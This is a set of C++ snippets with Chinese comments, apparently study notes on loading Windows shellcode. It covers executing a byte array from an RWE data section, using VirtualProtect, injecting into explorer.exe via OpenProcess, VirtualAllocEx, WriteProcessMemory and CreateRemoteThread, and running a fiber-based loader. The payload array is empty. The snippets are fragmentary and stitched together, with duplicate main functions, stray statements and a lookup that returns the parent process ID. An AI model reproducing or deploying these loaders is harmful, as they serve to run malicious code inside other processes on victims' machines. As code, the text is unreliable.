#include <iostream>
#include <Windows.h>

// 指定链接器选项，修改.data段为可读、可写、可执行
#pragma comment(linker, "/section:.data,RWE")

// shellcode
unsigned char hexData[990] =
{
};

int main()
{
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & hexData)();

    return 0;
}

BOOL VirtualProtect(
  LPVOID lpAddress,          // 指向要修改的内存区域的起始地址
  SIZE_T dwSize,             // 需要修改的内存区域大小，以字节为单位
  DWORD flNewProtect,        // 新的保护属性（如只读、读写、可执行等）
  PDWORD lpflOldProtect      // 保存旧的保护属性的指针
);

int main()
{
    VirtualProtect(hexData, sizeof(hexData), PAGE_EXECUTE_READWRITE, NULL);
    // 将hexData转换为函数指针并执行
    ((void(*)(void)) & hexData)();

    return 0;
}

HANDLE WINAPI CreateToolhelp32Snapshot(
  _In_ DWORD dwFlags, /*这个参数指定了要创建的快照类型*/
/*允许以下值
TH32CS_SNAPALL：创建一个包含所有进程、线程、堆和模块的快照。
TH32CS_SNAPPROCESS：创建一个只包含进程的快照。
TH32CS_SNAPTHREAD：创建一个只包含线程的快照。
TH32CS_SNAPHEAPLIST：创建一个只包含指定进程的堆的快照。
TH32CS_SNAPMODULE：创建一个只包含指定进程的模块的快照。
TH32CS_INHERIT：快照句柄可以被子进程继承。*/
  _In_ DWORD th32ProcessID /*指定要快照的进程的ID*/
);

DWORD findProessId(const wchar_t* targetProessName) {
    // 拉取进程镜像
    HANDLE hShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //创建一个只包含进程的快照。

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    //遍历
    if (Process32First(hShot, &pe)) { // 获取第一条
        do
        {
            if (wcscmp(pe.szExeFile,targetProessName) == 0){ //比较可执行文件名
                CloseHandle(hShot);
                return pe.th32ParentProcessID;
            }
        } while (Process32Next(hShot,&pe));//获取下一条，如果没有跳出循环

    }
}

HANDLE OpenProcess(
  DWORD dwDesiredAccess, //希望获得的访问权限，可以多个组合
  BOOL bInheritHandle, //如果指定为true，则任何又这个进程创建的子进程都将继承句柄false则不继承
  DWORD dwProcessId //指定要打开进程的pid
);

LPVOID VirtualAllocEx(
  HANDLE hProcess, //前一个openprocess获得的句柄
  LPVOID lpAddress, //要分配的内存区域基址，可以为NULL
  SIZE_T dwSize, //大小
  DWORD  flAllocationType, //内存分配类型
  DWORD  flProtect //内存区域访问保护类型
);

BOOL WriteProcessMemory(
  HANDLE  hProcess, //句柄
  LPVOID  lpBaseAddress, //基址
  LPCVOID lpBuffer, //源缓冲区指针
  SIZE_T  nSize, //要写入的大小（字节单位）
  SIZE_T *lpNumberOfBytesWritten //指针，用于接受实际写入的字节数
);

HANDLE CreateRemoteThread(
  HANDLE hProcess, //句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性 可以是NULL
  SIZE_T dwStackSize, //线程栈的大小 如果是0则使用可执行文件的预设大小
  LPTHREAD_START_ROUTINE lpStartAddress, //指向线程的函数的指针
  LPVOID lpParameter, //传递给线程函数的参数
  DWORD dwCreationFlags, //控制线程创建标志
  LPDWORD lpThreadId //指向接收线程标识符的变量
);

HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
    if (openPr == NULL) {
        std::cerr << proessId << "打开进程失败" << std::endl;
    }

    //在虚拟地址中分配内存
    LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 大小shellcode决定 权限分配 可访问内存 保留内存区域 可读可写可执行
    if (mec == NULL) {
        std::cerr << "内存分配失败" << std::endl;
    }

    //写入目标
    SIZE_T bytes;
    if (!WriteProcessMemory(openPr,mec,shellcode,sizeof(shellcode),&bytes) || bytes != sizeof(shellcode)){ // 写入内存
        std::cerr << "写入失败" << std::endl;

    }
    HANDLE hThread = CreateRemoteThread(openPr, NULL, 0, (LPTHREAD_START_ROUTINE)mec, NULL, 0, NULL);
    if (hThread == NULL) {
        std::cerr << "创建线程失败" << std::endl;
    }

    return 0;

int main() {
    const wchar_t* targetProcessName = L"explorer.exe";
    DWORD proessId = findProessId(targetProcessName);
    std::cout << proessId;
    HANDLE openPr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proessId);
    LPVOID mec = VirtualAllocEx(openPr, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 大小shellcode决定 权限分配 可访问内存 保留内存区域 可读可写可执行
    SIZE_T bytes;
    WriteProcessMemory(openPr, mec, shellcode, sizeof(shellcode), &bytes);
    HANDLE hThread = CreateRemoteThread(openPr, NULL, 0, (LPTHREAD_START_ROUTINE)mec, NULL, 0, NULL);
    return 0;

DWORD oldProtect;
  VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

  // 将当前线程转换为纤程（轻量级线程）
  ConvertThreadToFiber(NULL);

  // 创建一个纤程对象，关联到shellcode作为纤程入口点，使用默认栈大小和无标志位
  void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);

  // 切换到新创建的纤程，开始执行shellcode
  SwitchToFiber(shellcodeFiber);

  // shellcode执行完毕后，删除纤程对象
  DeleteFiber(shellcodeFiber);

PVOID ConvertThreadToFiber(PVOID pFiber); // 传入NULL就是将当前线程进行转化

PVOID CreateFiber(
  SIZE_T dwStackSize, //纤程栈大小
  LPFIBER_START_ROUTINE pFiberProc, //指向函数的指针
  PVOID pParameter //参数指针
);